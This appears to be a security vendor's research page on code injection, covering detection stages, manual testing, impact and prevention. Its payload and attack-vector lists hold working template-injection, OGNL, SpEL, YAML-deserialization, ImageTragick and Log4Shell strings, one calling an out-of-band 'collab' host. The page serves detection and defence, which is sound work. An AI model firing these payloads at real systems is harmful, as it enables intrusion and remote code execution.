scanrub
Code Injection

Code Injection

3 min read 218 reports analyzed ScanRub Research
Share
Live Playground · Powered by this research
Command Injection Character Check
; - command chainPRESENT
& - background/chainNot present
| - pipeNot present
` - command substitutionNot present
$ - variable expansionNot present
( - subshellNot present
) - subshellNot present
< - redirectNot present
> - redirectNot present
\ - escapeNot present
\n - newlineNot present
1 shell metacharacter(s) found. Never pass this to system() / exec() / shell.
Payloads from this research (10 total)
${(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...} (Struts2 S2-045)
{{7*7}} (template fingerprint)
{{ self.__class__.__init__.__globals__['os'].popen('id').read() }} (Jinja)
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }} (Twig)
These payloads were synthesized from real HackerOne disclosures. Click any payload to copy it, then paste it into the tester above to see how our detection classifies it.

Summary

Wider than just OS Command Injection - covers language-level eval / dynamic-dispatch sinks (PHP previewBlock -> eval, Ruby OptionParser.load, Python yaml.load, server-side template engines), framework RCE CVEs (Apache Struts2 S2-045, Primefaces CVE-2017-1000486, Drupal CVE-2018-7600), supply-chain RCE (npm/Gem dependency confusion), CSS injection rendering as UI clickjacking, and image-processor-driven RCE (FFmpeg HLS, ImageMagick MVG/SVG). Significant overlap with the Command-Injection-Generic synthesis - share modules where appropriate.

◈ flow diagram
User InputSystem Comma…Shell or Int…OS-Level Acc…Full Comprom…
◈ chart
Critical
17
High
55
Medium
92
Low
55

Top Affected Components / Targets

  • Java apps with Struts2 / Spring / Primefaces / Tapestry
  • PHP CMS with eval / unserialize entrypoints (ImpressCMS, ExpressionEngine, IPS, Drupal)
  • Ruby on Rails apps with YAML / Marshal / regex sinks
  • Python apps with yaml.load / pickle.load / template engines
  • Image-processing endpoints calling ImageMagick / FFmpeg / ghostscript
  • Build pipelines with private-registry misconfiguration
  • Electron / desktop apps with deeplink handlers
  • Server-side template rendering of user input

Common Attack Vectors

  • Submit eval-trigger payload into config/template/preview fields
  • Submit OGNL ${...} / SpEL T(java.lang.Runtime).getRuntime().exec(...) / EL payload
  • Submit Jinja {{ self.__class__.__init__.__globals__['os'].popen('id').read() }}``
  • Submit Twig {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}``
  • Submit Velocity #set($x=$rt.getRuntime().exec('id'))``
  • Submit Freemarker <#assign value="freemarker.template.utility.Execute"?new()>${value('id')}``
  • Upload Imagetragick polyglot image
  • Upload m3u8 with file:// or http:// segments
  • Register a public-registry package matching internal name from leaked package.json
  • Submit ${jndi:ldap://collab/} into any logging-bound field (Log4Shell)

Common Payloads

  • ${(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...} (Struts2 S2-045)
  • {{7*7}} (template fingerprint)
  • {{ self.__class__.__init__.__globals__['os'].popen('id').read() }} (Jinja)
  • {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }} (Twig)
  • <%= 7*7 %> (ERB)
  • ${T(java.lang.Runtime).getRuntime().exec('id')} (SpEL)
  • yaml.load: !!python/object/new:os.system ["id"]
  • <image xlink:href="https://collab/"/> (SVG)
  • image mvg:|/usr/bin/whoami (Imagetragick)
  • <m3u8> with file:///etc/passwd

Detection Strategy

Stage 1: template-engine fingerprint

Submit {{7*7}} / ${7*7} / <%= 7*7 %> to all params and check whether the response contains 49 (existing SSTI module, extend coverage).

Stage 2: engine-specific payload

Once an engine is identified (Jinja/Twig/Velocity/Freemarker/SpEL/OGNL), submit the payload that exec's id and watch for response containing uid= or via OOB.

Stage 3: image-processor probe

In upload endpoints, submit Imagetragick MVG / FFmpeg HLS / SVG-with-script; watch for OOB.

Stage 4: Struts2/Primefaces marker

Match server banner against known-vulnerable frameworks and run nuclei templates.

Stage 5: dependency confusion advisory

When source code or package manifests are accessible in JS or via /package.json /composer.json / Gemfile, list internal-looking names and check whether they are registered upstream; emit advisory finding.

Stage 6: regex-injection

On parameters that look like regex (filter, pattern, search), submit (a+)+$ followed by 50 'a's and look for >5x latency.

Confidence: in-band exec (id output reflected) = critical; OOB hit = high; engine-fingerprint only = medium; advisory = low.

Tip: Testing tools that run these checks in parallel across every discovered endpoint can cut the time required substantially compared to fully manual testing, as long as they confirm findings with more than one signal to keep the false-positive rate down.

False-Positive Notes

  • Template fingerprint via {{7*7}} reflects in many sites that aren't actually template-injected (literal echo).
  • The existing SSTI module's baseline-comparison guard is mandatory.
  • ReDoS findings depend on stable latency baseline - repeat probes 3 times before flagging.
  • Dependency confusion shouldn't be tested by registering a real attacker-package - emit advisory only.

How to Test

Manual Testing Methodology

Here is a systematic approach to identifying Code Injection vulnerabilities in a target application.

Step 1: Reconnaissance and Surface Mapping

Before testing, map all input vectors that could be affected. Identify parameters, headers, cookies, and request bodies that interact with the vulnerable component. A proxy such as Burp Suite or OWASP ZAP, paired with normal browsing of the target, is usually enough to build this list.

Step 2: Baseline Request

Send a legitimate request and record the normal response: status code, content length, response time, and any identifying tokens. This baseline matters because it's what you'll compare later responses against once payloads are involved.

Step 3: Payload Injection

Inject test payloads into each identified input vector one at a time. Start with benign detection payloads before escalating to anything that could actually trigger the vulnerability. For Code Injection specifically, test shell metacharacters (; id, | whoami, ` id , $(id)) and, separately, template/expression-language injection syntax (${...}, #{...}, {{...}}`) against every parameter, starting with output-based confirmation (a command whose output should appear in the response) before moving to blind/time-based confirmation.

Step 4: Response Analysis

Compare the response against your baseline, looking specifically for command output (a user ID, hostname, or file listing) appearing in the response, or a measurable delay from an injected sleep/ping -c N payload that reproduces on an independent second request.

Step 5: Confirmation

Once a potential vulnerability is detected, confirm it with at least a few independent test cases to rule out coincidence. Document the exact request and response as proof. For Code Injection, a confirmed finding typically means showing that attacker-controlled input changes the application's behavior in a way that matters for security, not just that a payload was reflected somewhere harmless.

Real-World Impact

Real-World Impact

Command and code injection let an attacker's input reach a shell or a code interpreter directly, which means the impact is close to total: arbitrary operating-system commands or arbitrary code run with whatever privileges the vulnerable process has. This is consistently one of the highest-severity bug classes in disclosed reports for exactly that reason.

Exploitation paths include chaining benign-looking parameters into shell metacharacters (;, |, \) that the OS interprets as command separators, and passing attacker-controlled strings into dynamic-evaluation functions (eval`, template engines, deserialization-adjacent code paths) that the application never intended to expose to untrusted input.

Because the resulting access is typically at the level of the host process, this class routinely leads to full server compromise, lateral movement into internal networks, and persistent backdoors — the same severity tier as insecure deserialization, and for the same underlying reason: attacker input reaching a code-execution primitive.

Prevention & Remediation

Prevention and Secure Coding

Preventing Code Injection takes a defense-in-depth approach — no single control below is sufficient alone, but together they close off both the primary path and the most common bypasses.

Avoid shelling out to user input entirely. Where a language-level API exists to accomplish the same task (file operations, archive extraction, image processing) without invoking a shell, use it instead of building a command string.

Use array-form process APIs. When invoking an external process is unavoidable, pass arguments as an array (execFile, subprocess.run([...])) rather than a single interpolated string — array form bypasses shell interpretation of metacharacters entirely.

Never pass user input to `eval`-like functions. Treat eval, template-engine "render this string as a template" functions, and dynamic require/import of a user-influenced path as forbidden with untrusted input, full stop — there is rarely a safe way to sanitize your way out of this one.

Strict allowlist validation. Where a command must incorporate user input (a filename, a format flag), validate it against a strict allowlist of known-safe values rather than trying to blocklist dangerous characters.

Least-privilege execution and sandboxing. Run the process under a minimally-privileged OS account, and consider a container or sandbox boundary as defense-in-depth for any component that must execute external commands.

Source reports

A sample of the disclosed HackerOne reports this playbook was synthesized from.

Frequently Asked Questions

What is Code Injection?
Wider than just OS Command Injection - covers language-level eval / dynamic-dispatch sinks (PHP `previewBlock` -> eval, Ruby `OptionParser.load`, Python yaml.load, server-side template engines), framework RCE CVEs (Apache Struts2 S2-045, Primefaces CVE-2017-1000486, Drupal CVE-2018-7600), supply-chain RCE (npm/Gem dependency confusion), CSS injection rendering as UI clickjacking, and image-processor-driven RCE (FFmpeg HLS, ImageMagick MVG/SVG).
How common is Code Injection in bug bounty reports?
Scanrub's research corpus for this playbook is built from 218 disclosed HackerOne reports in this category, synthesized for detection and prevention guidance rather than reproduced verbatim.
How do I test for Code Injection?
Map every input vector, record a baseline response, then inject targeted test payloads one field at a time and compare the response for timing, length, error, or reflection differences from that baseline. The "How to Test" section above walks through the full methodology for this specific vulnerability class.
What is the single most effective fix for Code Injection?
Avoid shelling out to user input entirely; where an external process must be invoked, pass arguments in array form rather than an interpolated string so shell metacharacters can't be interpreted.
Weekly security research

New vulnerability playbooks, tool updates, and bug bounty insights - delivered to your inbox. No spam.

Unsubscribe anytime. We respect your inbox.
Press ⌘K to search×